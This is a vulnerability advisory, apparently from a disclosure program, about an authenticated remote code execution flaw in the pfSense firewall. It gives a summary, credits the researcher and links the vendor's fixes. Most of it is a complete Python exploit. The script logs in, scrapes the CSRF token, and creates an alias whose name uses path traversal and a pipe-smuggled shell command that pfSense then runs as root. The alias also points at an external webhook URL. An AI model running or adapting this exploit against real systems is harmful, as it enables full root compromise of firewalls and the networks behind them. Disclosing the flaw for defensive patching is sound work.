TL;DR
A vulnerability in pfSense allows authenticated users to cause the product to execute arbitrary code – this in turn would allow an attacker to compromise the machine on which the pfSense is installed.
Vulnerability Summary
Due to the way pfSense, an open-sourced firewall, manages names of rules – an authenticated attacker that is able to modify firewall rules to cause the firewall to execute arbitrary code. The code in turn runs with elevated privileges (root) thus allowing to fully compromise the machine upon the pfSense is running on.
Credit
An independent security researcher, 이예랑 (@yelang123x), has reported this to the SSD Secure Disclosure program.
Vendor Response
The vendor has issued two fixes:
Fix 1:
https://github.com/pfsense/pfsense/commit/db0cdbc8e77a47b45a6da4061e5d8e59e0fc592d
Fix 2:
https://github.com/pfsense/pfsense/commit/4d9dd165e471394bb2ca520d56f8d8f9a82bb99a
Exploit
import requests from bs4 import BeautifulSoup url = 'https://x.y.z.a/' session = requests.session() id = input('id : ') passwd = input('passwd : ') cmd = input('cmd : ') # don't allow string "/" example : echo pwn > test.php if '/' in cmd: exit("'/' is not allow") def csrf_token(url=url): global session result = session.get(url, verify=False) soup = BeautifulSoup(result.text, 'html.parser') csrf = soup.find_all(['script'])[2].decode() csrf_text = csrf[csrf.find('var csrfMagicToken = "') + 22:csrf.find('";var csrfMagicName')].split(',') result = csrf_text[0]+','+csrf_text[1] csrf_token = result return csrf_token def login(): global session data = {"usernamefld": id, "passwordfld": passwd, "login": "Sign In", "__csrf_magic": csrf_token()} login = session.post(url, data=data, verify=False) return def add_gadget(): global session add_url = url+'firewall_aliases_edit.php?tab=ip' data = { "__csrf_magic": csrf_token(), "name": '../../../tmp/rules.packages.|'+cmd+'|', "descr": "sadf", "type": "urltable", "address0": "https://webhook.site/b6106f32-216a-4242-913e-6df49228927a", "address_subnet0": "128", "detail0": "", "tab": "ip", "origname": "", "save": "Saved" } result = session.post(add_url, data=data, verify=False) def run_exec(): global session result = session.get(url+'/status.php') if (result.text.find('pfSense: Status') != -1): return 'sucsess' else: return 'faild' login() add_gadget() print(run_exec())
Demo
